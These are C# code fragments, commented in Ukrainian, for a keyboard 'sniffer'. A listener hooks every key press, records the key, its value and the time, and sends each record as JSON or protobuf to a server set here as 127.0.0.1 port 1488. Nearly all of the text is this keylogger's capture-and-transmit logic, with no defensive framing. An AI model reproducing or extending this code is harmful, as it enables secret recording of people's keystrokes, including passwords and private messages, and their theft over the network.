public void SendInPtotobuf(KeyBoardInteractionInfo keyBoardInteractionInfo) { //Створюємо потік using (MemoryStream ms = new MemoryStream()) { //Виконуємо серіалізацію об'єкту у потік Serializer.Serialize <KeyBoardInteractionInfo>(ms, keyBoardInteractionInfo); //Передаємо байтовий вигляд потоку у якості параметра у метод Send Send(ms.ToArray()); } }
public void StartSniffer() { //Створюємо єкземпляр класу для перехвату натискань на клавіауту KeyboardListener keyboardListener = new KeyboardListener(); //Ствоюємо єкземпляр класу для пересилання інформації щодо натискань на сервер NetworkSender networkSender = new NetworkSender("127.0.0.1", 1488); //Процессор події натискання, з подальшою пересилкою на сервер у вигляді JSON (для прискорення, можно замінити на ProtoBuf) keyboardListener.KeyDown += (a, b) => { KeyBoardInteractionInfo kbii = new KeyBoardInteractionInfo(); kbii.Key = b.Key.ToString(); kbii.Value = b.ToString(); kbii.TimePressed = DateTime.Now.ToShortTimeString(); networkSender.SendInJSON(kbii); }; }
public void SendInJSON(KeyBoardInteractionInfo keyBoardInteractionInfo) { //Виконуємо серіалізацію об'єкту у строку, а потім конвертацію у масив байтів, та передаємо у якості параметра у метод Send Send(Encoding.Unicode.GetBytes(JsonConvert.SerializeObject(keyBoardInteractionInfo))); }